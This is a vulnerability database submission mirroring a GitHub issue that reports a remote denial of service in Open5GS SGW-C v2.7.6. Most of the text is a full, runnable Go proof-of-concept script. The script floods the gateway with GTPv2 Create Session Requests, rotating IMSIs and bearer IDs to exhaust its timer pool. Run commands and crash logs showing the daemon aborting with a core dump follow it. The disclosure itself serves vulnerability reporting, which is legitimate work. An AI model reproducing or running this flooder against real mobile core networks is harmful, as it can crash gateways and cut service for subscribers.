إرسال #729357: Open5GS SGWC v2.7.6 Denial of Serviceالمعلومات

عنوانOpen5GS SGWC v2.7.6 Denial of Service
الوصف### Open5GS Release, Revision, or Tag v2.7.6 ### Steps to reproduce ### Description Open5GS SGW-C can be reliably crashed (remote DoS) by sending multiple GTPv2 Create Session Request (CSR) messages in a short period of time. SGW-C eventually fails to allocate timer resources: ogs_pool_alloc() failed at lib/core/ogs-timer.c:84, followed by a hard assertion in the GTP transaction layer: ogs_gtp_xact_remote_create: Assertion 'xact->tm_peer' failed. at lib/gtp/xact.c:219. This causes open5gs-sgwcd to abort and dump core. 1. Start a new go project inside a new folder: go mod init poc 2. Create a `main.go` and paste the code below: ``` package main import ( "errors" "flag" "fmt" "log" "math/rand" "net" "strconv" "strings" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) // PoC for PC1-001: Exhaust SGW-C session pool by reusing a limited set of IMSIs // while rotating EBI values to create multiple sessions per UE. func main() { target := flag.String("target", "", "SGW-C GTP-C IP (required)") port := flag.Int("port", 2123, "GTP-C port") apn := flag.String("apn", "internet", "APN to request") imsiBase := flag.String("imsi-base", "001010000000001", "Base IMSI digits to increment") imsiCount := flag.Uint64("imsi-count", 10, "How many IMSIs to rotate (<= max.ue)") imsiStep := flag.Uint64("imsi-step", 1, "Increment step for IMSI") ebiStart := flag.Uint("ebi-start", 5, "First EBI to use (1-15)") ebiCount := flag.Uint("ebi-count", 4, "How many EBIs to rotate per IMSI") laddr := flag.String("laddr", "", "Optional local IP to bind (used for F-TEID)") pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP (default: local IP)") count := flag.Uint("count", 100, "How many CSR packets to send") interval := flag.Duration("interval", 10*time.Millisecond, "Delay between sends (0 for tight loop)") seq := flag.Uint("seq", 0, "GTPv2 sequence number (0=random per send)") mcc := flag.String("mcc", "001", "Serving network MCC") mnc := flag.String("mnc", "01", "Serving network MNC") logEvery := flag.Uint("log-every", 50, "Log every N sends (0 logs only first/last)") flag.Parse() if *target == "" { log.Fatal("Error: --target is required") } if *imsiCount == 0 { log.Fatal("Error: --imsi-count must be > 0") } if *imsiStep == 0 { log.Fatal("Error: --imsi-step must be > 0") } if *ebiCount == 0 { log.Fatal("Error: --ebi-count must be > 0") } if *ebiStart < 1 || *ebiStart > 15 { log.Fatal("Error: --ebi-start must be in [1,15]") } if *ebiStart+*ebiCount-1 > 15 { log.Fatal("Error: --ebi-start + --ebi-count exceeds 15") } if err := validateDigits(*imsiBase); err != nil { log.Fatalf("invalid --imsi-base: %v", err) } if err := validateDigits(*mcc); err != nil || len(*mcc) != 3 { log.Fatal("Error: --mcc must be 3 digits") } if err := validateDigits(*mnc); err != nil || (len(*mnc) != 2 && len(*mnc) != 3) { log.Fatal("Error: --mnc must be 2 or 3 digits") } rand.Seed(time.Now().UnixNano()) var lp *net.UDPAddr var err error if *laddr != "" { lp, err = net.ResolveUDPAddr("udp", net.JoinHostPort(*laddr, "0")) if err != nil { log.Fatalf("resolve laddr: %v", err) } } rp, err := net.ResolveUDPAddr("udp", net.JoinHostPort(*target, fmt.Sprintf("%d", *port))) if err != nil { log.Fatalf("resolve raddr: %v", err) } conn, err := net.DialUDP("udp", lp, rp) if err != nil { log.Fatalf("dial udp: %v", err) } defer conn.Close() localIP := "" if udpAddr, ok := conn.LocalAddr().(*net.UDPAddr); ok && udpAddr.IP != nil { localIP = udpAddr.IP.String() } if localIP == "" { log.Fatal("local IP unknown (set --laddr)") } if *pgwIP == "" { *pgwIP = localIP } uniqueSessions := uint64(*ebiCount) * *imsiCount if uint64(*count) > uniqueSessions { log.Printf("[!] count=%d exceeds unique sessions=%d; requests will wrap and reuse IMSI/EBI", *count, uniqueSessions) } log.Printf("[*] Sending CreateSessionRequest(s) to %s (count=%d, imsis=%d, ebis=%d)", rp, *count, *imsiCount, *ebiCount) for i := uint(0); i < *count; i++ { imsiIdx := uint64(i) % *imsiCount ebiIdx := (uint64(i) / *imsiCount) % uint64(*ebiCount) imsi, err := nextIMSI(*imsiBase, *imsiStep, imsiIdx) if err != nil { log.Fatalf("imsi generation failed: %v", err) } ebi := uint8(uint64(*ebiStart) + ebiIdx) seqNum := uint32(*seq) if seqNum == 0 { seqNum = rand.Uint32() & 0x00ffffff if seqNum == 0 { seqNum = 1 } seqNum += uint32(i) } else { seqNum += uint32(i) } mmeTEID := randNonZeroUint32() pgwTEID := randNonZeroUint32() csr, err := buildCSR(seqNum, imsi, *apn, localIP, *pgwIP, *mcc, *mnc, ebi, mmeTEID, pgwTEID) if err != nil { log.Fatalf("build CSR: %v", err) } b, err := csr.Marshal() if err != nil { log.Fatalf("marshal CSR: %v", err) } if _, err := conn.Write(b); err != nil { log.Printf("[!] send failed: %v", err) } else if shouldLog(i, *count, *logEvery) { log.Printf("[+] Sent %d-byte CSR seq=0x%x imsi=%s ebi=%d", len(b), seqNum, imsi, ebi) } if i+1 < *count && *interval > 0 { time.Sleep(*interval) } } log.Println("[*] Done. Monitor SGW-C for session pool exhaustion (assert in sgwc_sess_add).") } func buildCSR(seq uint32, imsi, apn, localIP, pgwIP, mcc, mnc string, ebi uint8, mmeTEID, pgwTEID uint32) (*message.CreateSessionRequest, error) { if localIP == "" || pgwIP == "" { return nil, fmt.Errorf("missing local or PGW IP") } senderFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, mmeTEID, localIP, "") pgwFTEID := ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, pgwTEID, pgwIP, "").WithInstance(1) bearer := ie.NewBearerContext( ie.NewEPSBearerID(ebi), ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000), ) return message.NewCreateSessionRequest( 0, seq, ie.NewIMSI(imsi), ie.NewAccessPointName(apn), ie.NewServingNetwork(mcc, mnc), ie.NewRATType(gtpv2.RATTypeEUTRAN), ie.NewPDNType(gtpv2.PDNTypeIPv4), ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified), ie.NewAggregateMaximumBitRate(500000, 500000), senderFTEID, pgwFTEID, bearer, ), nil } func nextIMSI(base string, step, index uint64) (string, error) { val, err := strconv.ParseUint(base, 10, 64) if err != nil { return "", fmt.Errorf("parse base IMSI: %w", err) } next := val + step*index if next < val { return "", errors.New("IMSI overflow") } width := len(base) nextStr := strconv.FormatUint(next, 10) if len(nextStr) > width { return "", fmt.Errorf("IMSI length overflow (%d > %d)", len(nextStr), width) } return strings.Repeat("0", width-len(nextStr)) + nextStr, nil } func validateDigits(s string) error { if s == "" { return errors.New("empty string") } for _, r := range s { if r < '0' || r > '9' { return fmt.Errorf("non-digit rune %q", r) } } return nil } func randNonZeroUint32() uint32 { v := rand.Uint32() if v == 0 { return 1 } return v } func shouldLog(i, total, every uint) bool { if total == 0 { return false } if every == 0 { return i == 0 || i+1 == total } return i%every == 0 || i+1 == total } ``` 3. Download required libraries: `go mod tidy` 4. Run the program with the upf pfcp server address: `go run main.go --target 10.44.44.2 --count 30 --interval 100ms --imsi-count 10 --ebi-start 5 --ebi-count 4` ### Logs ```shell 12/28 21:49:27.162: [sgwc] INFO: UE IMSI[001010000000006] APN[internet] (../src/sgwc/s11-handler.c:268) 12/28 21:49:27.262: [event] FATAL: ogs_pool_alloc() failed (../lib/core/ogs-timer.c:84) 12/28 21:49:27.262: [gtp] FATAL: ogs_gtp_xact_remote_create: Assertion `xact->tm_peer' failed. (../lib/gtp/xact.c:219) 12/28 21:49:27.264: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37) /usr/local/lib/libogsgtp.so.2(+0x1ab88) [0x7f8913146b88] /usr/local/lib/libogsgtp.so.2(ogs_gtp_xact_receive+0x4d3) [0x7f891314a886] open5gs-sgwcd(+0x14bc5) [0x55e48024abc5] /usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7f891310843f] open5gs-sgwcd(+0x639a) [0x55e48023c39a] /usr/local/lib/libogscore.so.2(+0x119a3) [0x7f89130f89a3] /lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7f8912f2dac3] /lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7f8912fbea74] /usr/local/bin/entrypoint.sh: line 8: 8 Aborted (core dumped) open5gs-sgwcd "${@}" ``` ### Expected behaviour When timer pools are exhausted, SGW-C should gracefully reject or drop excessive Create Session Requests (optionally respond with an appropriate GTP-C error cause such as "No resources available"/"System failure"), handle allocation failures without triggering assertions, continue running to preserve service continuity. ### Observed Behaviour Under repeated Create Session Requests, SGW-C hits: ogs_pool_alloc() failed in ogs-timer.c, and then a fatal assertion xact->tm_peer in ogs_gtp_xact_remote_create (xact.c:219), causing open5gs-sgwcd to abort and dump core, resulting in Denial of Service (DoS). ### eNodeB/gNodeB No ### UE Models and versions No
المصدر⚠️ https://github.com/open5gs/open5gs/issues/4221
المستخدم
 ZiyuLin (UID 93568)
ارسال02/01/2026 01:16 PM (9 أشهر منذ)
الاعتدال17/01/2026 09:32 AM (15 days later)
الحالةمكرر
إدخال VulDB341599 [Open5GS حتى 2.7.5 Timer الحرمان من الخدمة]
النقاط0

Want to know what is going to be exploited?

We predict KEV entries!